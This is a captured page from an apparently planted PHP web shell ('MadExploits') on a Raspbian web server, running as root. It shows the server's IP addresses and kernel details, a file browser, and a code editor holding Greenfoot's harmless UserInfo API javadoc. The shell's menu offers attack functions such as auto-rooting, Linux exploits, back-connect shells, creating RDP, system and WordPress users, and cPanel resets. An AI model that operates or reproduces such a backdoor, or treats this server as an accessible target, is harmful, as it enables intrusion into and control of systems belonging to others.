Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
Greenfoot /
API /
greenfoot /
[ HOME SHELL ]
Name
Size
Permission
Action
Actor.html
37.84
KB
-rw-r--r--
Color.html
26.12
KB
-rw-r--r--
Font.html
18.68
KB
-rw-r--r--
Greenfoot.html
27.29
KB
-rw-r--r--
GreenfootImage.html
42.64
KB
-rw-r--r--
GreenfootSound.html
15.6
KB
-rw-r--r--
MouseInfo.html
12.32
KB
-rw-r--r--
UserInfo.html
28.61
KB
-rw-r--r--
World.html
30.97
KB
-rw-r--r--
package-summary.html
6.84
KB
-rw-r--r--
package-tree.html
5.73
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : UserInfo.html
<!DOCTYPE HTML> <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (11.0.2) on Wed Jun 12 11:21:42 BST 2019 --> <title>UserInfo (Greenfoot API)</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name="dc.created" content="2019-06-12"> <link rel="stylesheet" type="text/css" href="../stylesheet.css" title="Style"> <link rel="stylesheet" type="text/css" href="../jquery/jquery-ui.css" title="Style"> <script type="text/javascript" src="../script.js"></script> <script type="text/javascript" src="../jquery/jszip/dist/jszip.min.js"></script> <script type="text/javascript" src="../jquery/jszip-utils/dist/jszip-utils.min.js"></script> <!--[if IE]> <script type="text/javascript" src="../jquery/jszip-utils/dist/jszip-utils-ie.min.js"></script> <![endif]--> <script type="text/javascript" src="../jquery/jquery-3.3.1.js"></script> <script type="text/javascript" src="../jquery/jquery-migrate-3.0.1.js"></script> <script type="text/javascript" src="../jquery/jquery-ui.js"></script> </head> <body> <script type="text/javascript"><!-- try { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="UserInfo (Greenfoot API)"; } } catch(err) { } //--> var data = {"i0":10,"i1":9,"i2":9,"i3":10,"i4":10,"i5":10,"i6":9,"i7":10,"i8":10,"i9":9,"i10":10,"i11":10,"i12":10,"i13":10}; var tabs = {65535:["t0","All Methods"],1:["t1","Static Methods"],2:["t2","Instance Methods"],8:["t4","Concrete Methods"]}; var altColor = "altColor"; var rowColor = "rowColor"; var tableTab = "tableTab"; var activeTableTab = "activeTableTab"; var pathtoroot = "../"; var useModuleDirectories = true; loadScripts(document, 'script');</script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <header role="banner"> <nav role="navigation"> <div class="fixedNav"> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a id="navbar.top"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div> <a id="navbar.top.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="package-summary.html">Package</a></li> <li class="navBarCell1Rev">Class</li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../deprecated-list.html">Deprecated</a></li> <li><a href="../index-all.html">Index</a></li> <li><a href="../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../allclasses.html">All Classes</a></li> </ul> <ul class="navListSearch"> <li><label for="search">SEARCH:</label> <input type="text" id="search" value="search" disabled="disabled"> <input type="reset" id="reset" value="reset" disabled="disabled"> </li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> </div> <div> <ul class="subNavList"> <li>Summary: </li> <li>Nested | </li> <li><a href="#field.summary">Field</a> | </li> <li>Constr | </li> <li><a href="#method.summary">Method</a></li> </ul> <ul class="subNavList"> <li>Detail: </li> <li><a href="#field.detail">Field</a> | </li> <li>Constr | </li> <li><a href="#method.detail">Method</a></li> </ul> </div> <a id="skip.navbar.top"> <!-- --> </a></div> <!-- ========= END OF TOP NAVBAR ========= --> </div> <div class="navPadding"> </div> <script type="text/javascript"><!-- $('.navPadding').css('padding-top', $('.fixedNav').css("height")); //--> </script> </nav> </header> <!-- ======== START OF CLASS DATA ======== --> <main role="main"> <div class="header"> <div class="subTitle"><span class="packageLabelInType">Package</span> <a href="package-summary.html">greenfoot</a></div> <h2 title="Class UserInfo" class="title">Class UserInfo</h2> </div> <div class="contentContainer"> <ul class="inheritance"> <li>java.lang.Object</li> <li> <ul class="inheritance"> <li>greenfoot.UserInfo</li> </ul> </li> </ul> <div class="description"> <ul class="blockList"> <li class="blockList"> <hr> <pre>public class <span class="typeNameLabel">UserInfo</span> extends java.lang.Object</pre> <div class="block"><p>The UserInfo class can be used to store data permanently on a server, and to share this data between different users, when the scenario runs on the Greenfoot web site. This can be used to implement shared high score tables or other examples of shared data.</p> <p>Storage is only available when the current user is logged in on the Greenfoot site, so for some users storage will not be available. Always use UserInfo.isStorageAvailable() to check before accessing the user data.</p> <p>A typical code snippet for storing a high score is as follows:</p> <pre> if (UserInfo.isStorageAvailable()) { UserInfo myInfo = UserInfo.getMyInfo(); if (newScore > myInfo.getScore()) { myInfo.setScore(newScore); myInfo.store(); // write back to server } } </pre> <p>Methods to retrieve user data include getting data for the current user (getMyInfo()), the top scorers (e.g. getTop(10) for the top 10), and data for users with scores near my own score (e.g. getNearby(10)).</p> <p>The data that can be stored for each user consists of a score, 10 additional general purpose integers, and 5 strings (limited to 50 characters in length). In addition, the user name and user's image can be retrieved from the user data.</p> <p>For testing purposes, while running within Greenfoot (not on the web site), the user name can be set in the preferences (CTRL-SHIFT-P / CMD-SHIFT-P). This allows to simulate different users during development. When running on the web site, the user name is the name used to log in to the site.</p></div> <dl> <dt><span class="simpleTagLabel">Version:</span></dt> <dd>2.4</dd> <dt><span class="simpleTagLabel">Author:</span></dt> <dd>Neil Brown</dd> </dl> </li> </ul> </div> <div class="summary"> <ul class="blockList"> <li class="blockList"> <!-- =========== FIELD SUMMARY =========== --> <section role="region"> <ul class="blockList"> <li class="blockList"><a id="field.summary"> <!-- --> </a> <h3>Field Summary</h3> <table class="memberSummary"> <caption><span>Fields</span><span class="tabEnd"> </span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colSecond" scope="col">Field</th> <th class="colLast" scope="col">Description</th> </tr> <tr class="altColor"> <td class="colFirst"><code>static int</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#NUM_INTS">NUM_INTS</a></span></code></th> <td class="colLast"> <div class="block">The number of integers that can be stored</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static int</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#NUM_STRINGS">NUM_STRINGS</a></span></code></th> <td class="colLast"> <div class="block">The number of Strings that can be stored</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>static int</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#STRING_LENGTH_LIMIT">STRING_LENGTH_LIMIT</a></span></code></th> <td class="colLast"> <div class="block">The maximum number of characters that can be stored in each String</div> </td> </tr> </table> </li> </ul> </section> <!-- ========== METHOD SUMMARY =========== --> <section role="region"> <ul class="blockList"> <li class="blockList"><a id="method.summary"> <!-- --> </a> <h3>Method Summary</h3> <table class="memberSummary"> <caption><span id="t0" class="activeTableTab"><span>All Methods</span><span class="tabEnd"> </span></span><span id="t1" class="tableTab"><span><a href="javascript:show(1);">Static Methods</a></span><span class="tabEnd"> </span></span><span id="t2" class="tableTab"><span><a href="javascript:show(2);">Instance Methods</a></span><span class="tabEnd"> </span></span><span id="t4" class="tableTab"><span><a href="javascript:show(8);">Concrete Methods</a></span><span class="tabEnd"> </span></span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colSecond" scope="col">Method</th> <th class="colLast" scope="col">Description</th> </tr> <tr id="i0" class="altColor"> <td class="colFirst"><code>int</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getInt(int)">getInt</a></span>​(int index)</code></th> <td class="colLast"> <div class="block">Get the value of the int at the given index (0 to NUM_INTS-1, inclusive).</div> </td> </tr> <tr id="i1" class="rowColor"> <td class="colFirst"><code>static <a href="UserInfo.html" title="class in greenfoot">UserInfo</a></code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getMyInfo()">getMyInfo</a></span>()</code></th> <td class="colLast"> <div class="block">Get the data stored for the current user.</div> </td> </tr> <tr id="i2" class="altColor"> <td class="colFirst"><code>static java.util.List</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getNearby(int)">getNearby</a></span>​(int maxAmount)</code></th> <td class="colLast"> <div class="block">Get a sorted list of the UserInfo items for this scenario surrounding the current user.</div> </td> </tr> <tr id="i3" class="rowColor"> <td class="colFirst"><code>int</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getRank()">getRank</a></span>()</code></th> <td class="colLast"> <div class="block">Get the users overall rank for this scenario.</div> </td> </tr> <tr id="i4" class="altColor"> <td class="colFirst"><code>int</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getScore()">getScore</a></span>()</code></th> <td class="colLast"> <div class="block">Get the user's score.</div> </td> </tr> <tr id="i5" class="rowColor"> <td class="colFirst"><code>java.lang.String</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getString(int)">getString</a></span>​(int index)</code></th> <td class="colLast"> <div class="block">Get the value of the String at the given index (0 to NUM_STRINGS-1, inclusive).</div> </td> </tr> <tr id="i6" class="altColor"> <td class="colFirst"><code>static java.util.List</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getTop(int)">getTop</a></span>​(int maxAmount)</code></th> <td class="colLast"> <div class="block">Get a sorted list of the UserInfo items for this scenario, starting at the top.</div> </td> </tr> <tr id="i7" class="rowColor"> <td class="colFirst"><code><a href="GreenfootImage.html" title="class in greenfoot">GreenfootImage</a></code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getUserImage()">getUserImage</a></span>()</code></th> <td class="colLast"> <div class="block">Return an image of the user.</div> </td> </tr> <tr id="i8" class="altColor"> <td class="colFirst"><code>java.lang.String</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getUserName()">getUserName</a></span>()</code></th> <td class="colLast"> <div class="block">Get the username of the user that this storage belongs to.</div> </td> </tr> <tr id="i9" class="rowColor"> <td class="colFirst"><code>static boolean</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#isStorageAvailable()">isStorageAvailable</a></span>()</code></th> <td class="colLast"> <div class="block">Indicate whether storage is available.</div> </td> </tr> <tr id="i10" class="altColor"> <td class="colFirst"><code>void</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#setInt(int,int)">setInt</a></span>​(int index, int value)</code></th> <td class="colLast"> <div class="block">Set the value of the int at the given index (0 to NUM_INTS-1, inclusive).</div> </td> </tr> <tr id="i11" class="rowColor"> <td class="colFirst"><code>void</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#setScore(int)">setScore</a></span>​(int score)</code></th> <td class="colLast"> <div class="block">Set the user's score.</div> </td> </tr> <tr id="i12" class="altColor"> <td class="colFirst"><code>void</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#setString(int,java.lang.String)">setString</a></span>​(int index, java.lang.String value)</code></th> <td class="colLast"> <div class="block">Get the value of the String at the given index (0 to NUM_STRINGS-1, inclusive).</div> </td> </tr> <tr id="i13" class="rowColor"> <td class="colFirst"><code>boolean</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#store()">store</a></span>()</code></th> <td class="colLast"> <div class="block">Store the data to the server.</div> </td> </tr> </table> <ul class="blockList"> <li class="blockList"><a id="methods.inherited.from.class.java.lang.Object"> <!-- --> </a> <h3>Methods inherited from class java.lang.Object</h3> <code>clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait</code></li> </ul> </li> </ul> </section> </li> </ul> </div> <div class="details"> <ul class="blockList"> <li class="blockList"> <!-- ============ FIELD DETAIL =========== --> <section role="region"> <ul class="blockList"> <li class="blockList"><a id="field.detail"> <!-- --> </a> <h3>Field Detail</h3> <a id="NUM_INTS"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>NUM_INTS</h4> <pre>public static final int NUM_INTS</pre> <div class="block">The number of integers that can be stored</div> <dl> <dt><span class="seeLabel">See Also:</span></dt> <dd><a href="../constant-values.html#greenfoot.UserInfo.NUM_INTS">Constant Field Values</a></dd> </dl> </li> </ul> <a id="NUM_STRINGS"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>NUM_STRINGS</h4> <pre>public static final int NUM_STRINGS</pre> <div class="block">The number of Strings that can be stored</div> <dl> <dt><span class="seeLabel">See Also:</span></dt> <dd><a href="../constant-values.html#greenfoot.UserInfo.NUM_STRINGS">Constant Field Values</a></dd> </dl> </li> </ul> <a id="STRING_LENGTH_LIMIT"> <!-- --> </a> <ul class="blockListLast"> <li class="blockList"> <h4>STRING_LENGTH_LIMIT</h4> <pre>public static final int STRING_LENGTH_LIMIT</pre> <div class="block">The maximum number of characters that can be stored in each String</div> <dl> <dt><span class="seeLabel">See Also:</span></dt> <dd><a href="../constant-values.html#greenfoot.UserInfo.STRING_LENGTH_LIMIT">Constant Field Values</a></dd> </dl> </li> </ul> </li> </ul> </section> <!-- ============ METHOD DETAIL ========== --> <section role="region"> <ul class="blockList"> <li class="blockList"><a id="method.detail"> <!-- --> </a> <h3>Method Detail</h3> <a id="getUserName()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getUserName</h4> <pre class="methodSignature">public java.lang.String getUserName()</pre> <div class="block">Get the username of the user that this storage belongs to.</div> <dl> <dt><span class="returnLabel">Returns:</span></dt> <dd>The username as a String.</dd> </dl> </li> </ul> <a id="getInt(int)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getInt</h4> <pre class="methodSignature">public int getInt​(int index)</pre> <div class="block">Get the value of the int at the given index (0 to NUM_INTS-1, inclusive). <p> The default value is zero.</div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>index</code> - The index of the array where the needed int is positioned.</dd> <dt><span class="returnLabel">Returns:</span></dt> <dd>The value of the number in the given index of the array.</dd> </dl> </li> </ul> <a id="getString(int)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getString</h4> <pre class="methodSignature">public java.lang.String getString​(int index)</pre> <div class="block">Get the value of the String at the given index (0 to NUM_STRINGS-1, inclusive). The default value is the empty String.</div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>index</code> - The index at which to fetch a string</dd> <dt><span class="returnLabel">Returns:</span></dt> <dd>The String at that index, or the empty String if none has been stored.</dd> </dl> </li> </ul> <a id="setInt(int,int)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>setInt</h4> <pre class="methodSignature">public void setInt​(int index, int value)</pre> <div class="block">Set the value of the int at the given index (0 to NUM_INTS-1, inclusive). Note that to store this value permanently, you must later call store().</div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>index</code> - The index at which to store the integer</dd> <dd><code>value</code> - The integer value to store</dd> </dl> </li> </ul> <a id="setString(int,java.lang.String)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>setString</h4> <pre class="methodSignature">public void setString​(int index, java.lang.String value)</pre> <div class="block">Get the value of the String at the given index (0 to NUM_STRINGS-1, inclusive). Passing null is treated as a blank string. The given String must be of STRING_LENGTH_LIMIT characters or less (or else the method will fail). Note that to store this value permanently, you must later call store().</div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>index</code> - The index at which to store the String</dd> <dd><code>value</code> - The String value to store.</dd> </dl> </li> </ul> <a id="getScore()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getScore</h4> <pre class="methodSignature">public int getScore()</pre> <div class="block">Get the user's score. By default, this is zero.</div> <dl> <dt><span class="returnLabel">Returns:</span></dt> <dd>The user's score.</dd> </dl> </li> </ul> <a id="setScore(int)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>setScore</h4> <pre class="methodSignature">public void setScore​(int score)</pre> <div class="block">Set the user's score. <p> Note that this really does set the user's score. If you want to record only the user's highest score, you must code that yourself, using something like: <pre> if (latestScore > userData.getScore()) { userData.setScore(latestScore); } </pre> Without some code like this, you'll always overwrite the user's previous score. <p>Note that to store this value permanently, you must later call store().</div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>score</code> - The score to set</dd> </dl> </li> </ul> <a id="getRank()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getRank</h4> <pre class="methodSignature">public int getRank()</pre> <div class="block">Get the users overall rank for this scenario. <p> The user with the highest score will return 1, the user with the second highest score will return 2, and so on. Players with equal scores will get equal ranks, so rank will not necessarily be unique. To find the rank, scores are sorted in descending order (highest score first). If your scores need to be lowest-first, one trick is to store them as negative numbers. <p> If the rank is unavailable (e.g. because the data hasn't been stored yet), this function will return -1.</div> <dl> <dt><span class="returnLabel">Returns:</span></dt> <dd>The user's overall rank for this scenario.</dd> </dl> </li> </ul> <a id="isStorageAvailable()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>isStorageAvailable</h4> <pre class="methodSignature">public static boolean isStorageAvailable()</pre> <div class="block">Indicate whether storage is available. <p> Storage is unavailable if the scenario is run as an applet outside the Greenfoot website, or as a stand-alone application, or if the user is not logged in to the Greenfoot website. This last case is very common, so you should check this function before attempting to use the other static storage functions. If this function returns false, your scenario should proceed without using storage.</div> <dl> <dt><span class="returnLabel">Returns:</span></dt> <dd>Whether storage is available.</dd> </dl> </li> </ul> <a id="getMyInfo()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getMyInfo</h4> <pre class="methodSignature">public static <a href="UserInfo.html" title="class in greenfoot">UserInfo</a> getMyInfo()</pre> <div class="block">Get the data stored for the current user. This method returns null if: <ul> <li>there is a problem reading the local storage.csv file (for local scenarios), or</li> <li>the scenario is running as a stand-alone application, or applet on your own website, or</li> <li>there is a problem connecting to the server (for scenarios on the greenfoot.org site), or</li> <li>the user is not logged in (for scenarios on the greenfoot.org site).</li> </ul> The last case is very common, so you should always be ready to handle a null return from this function.</div> <dl> <dt><span class="returnLabel">Returns:</span></dt> <dd>the user's data, or null if there was a problem.</dd> </dl> </li> </ul> <a id="store()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>store</h4> <pre class="methodSignature">public boolean store()</pre> <div class="block">Store the data to the server. <p> You can only store data for the current user (that is, data retrieved using getMyData). If you try to store data for any user other than the current user, it is guaranteed to fail.</div> <dl> <dt><span class="returnLabel">Returns:</span></dt> <dd>true if stored successfully, false if there was a problem.</dd> </dl> </li> </ul> <a id="getTop(int)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getTop</h4> <pre class="methodSignature">public static java.util.List getTop​(int maxAmount)</pre> <div class="block">Get a sorted list of the UserInfo items for this scenario, starting at the top. <p>This will return one UserInfo item per user, and it will be sorted in descending order by the score (i.e. the return of getScore()). The parameter allows you to specify a limit on the amount of users' data to retrieve. If there is lots of data stored for users in your app, it may take some time (and bandwidth) to retrieve all users' data, and often you do not need all the users' data.</p> <p>For example, if you want to show the high-scores, store the score with setScore(score) and store(), and then use getTop(10) to get the users with the top ten scores.</p> <p>Returns null if:</p> <ul> <li>there is a problem reading the local file (for local scenarios), or</li> <li>the scenario is running as a stand-alone application, or applet on your own website, or</li> <li>there is a problem connecting to the server (for scenarios on the greenfoot.org site).</li> </ul> <p>You should always be ready to handle a null return from this function.</p></div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>maxAmount</code> - The maximum number of data items to retrieve. Passing zero or a negative number will get all the data, but see the note above.</dd> <dt><span class="returnLabel">Returns:</span></dt> <dd>A list where each item is a UserInfo, or null if there was a problem</dd> </dl> </li> </ul> <a id="getNearby(int)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getNearby</h4> <pre class="methodSignature">public static java.util.List getNearby​(int maxAmount)</pre> <div class="block">Get a sorted list of the UserInfo items for this scenario surrounding the current user. <p>This will be one item per user, and it will be sorted in descending order by the score (i.e. the return of getScore()). The parameter allows you to specify a limit on the amount of users' data to retrieve. If there is lots of data stored for users in your app, this may take some time (and bandwidth) to retrieve all users' data, and often you do not need all the users' data.</p> <p>The items will be those surrounding the current user. So for example, imagine that the user is 50th of 100 total users (when sorted by getScore()). Calling getNearby(5) will get the 48th, 49th, 50th, 51st and 52nd users in that order. Do not rely on the user being at a fixed location in the middle of the list: calling getNearby(5) when the user is 2nd overall will get the 1st, 2nd, 3rd, 4th and 5th users, so the user will be 2nd in the list, and a similar thing will happen if the user is near the end of the list.</p> <p>For example, if you want to show the high-scores surrounding the user, store the score with setScore(score) and store(), and then use getNearby(10) to get the ten users with scores close to the current user.</p> <p>Returns null if:</p> <ul> <li>there is a problem reading the local file (for local scenarios), or</li> <li>the scenario is running as a stand-alone application, or applet on your own website, or</li> <li>there is a problem connecting to the server (for scenarios on the greenfoot.org site), or</li> <li>the user is not logged in (for scenarios on the greenfoot.org site).</li> </ul> <p>The last case is very common, so you should always be ready to handle a null return from this function.</p></div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>maxAmount</code> - The maximum number of data items to retrieve. Passing zero or a negative number will get all the data, but see the note above.</dd> <dt><span class="returnLabel">Returns:</span></dt> <dd>A list where each item is a UserInfo, or null if there was a problem</dd> </dl> </li> </ul> <a id="getUserImage()"> <!-- --> </a> <ul class="blockListLast"> <li class="blockList"> <h4>getUserImage</h4> <pre class="methodSignature">public <a href="GreenfootImage.html" title="class in greenfoot">GreenfootImage</a> getUserImage()</pre> <div class="block">Return an image of the user. The image size is 50x50 pixels. <p> On the Greenfoot website, this is their profile picture. If running locally (or a profile picture is unavailable), this method returns a dummy image with the username drawn on the image.</div> <dl> <dt><span class="returnLabel">Returns:</span></dt> <dd>A 50x50 pixel GreenfootImage</dd> </dl> </li> </ul> </li> </ul> </section> </li> </ul> </div> </div> </main> <!-- ========= END OF CLASS DATA ========= --> <footer role="contentinfo"> <nav role="navigation"> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a id="navbar.bottom"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div> <a id="navbar.bottom.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="package-summary.html">Package</a></li> <li class="navBarCell1Rev">Class</li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../deprecated-list.html">Deprecated</a></li> <li><a href="../index-all.html">Index</a></li> <li><a href="../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../allclasses.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> </div> <div> <ul class="subNavList"> <li>Summary: </li> <li>Nested | </li> <li><a href="#field.summary">Field</a> | </li> <li>Constr | </li> <li><a href="#method.summary">Method</a></li> </ul> <ul class="subNavList"> <li>Detail: </li> <li><a href="#field.detail">Field</a> | </li> <li>Constr | </li> <li><a href="#method.detail">Method</a></li> </ul> </div> <a id="skip.navbar.bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> </nav> <p class="legalCopy"><small><a href=http://www.greenfoot.org/>Greenfoot homepage</a></small></p> </footer> </body> </html>
Close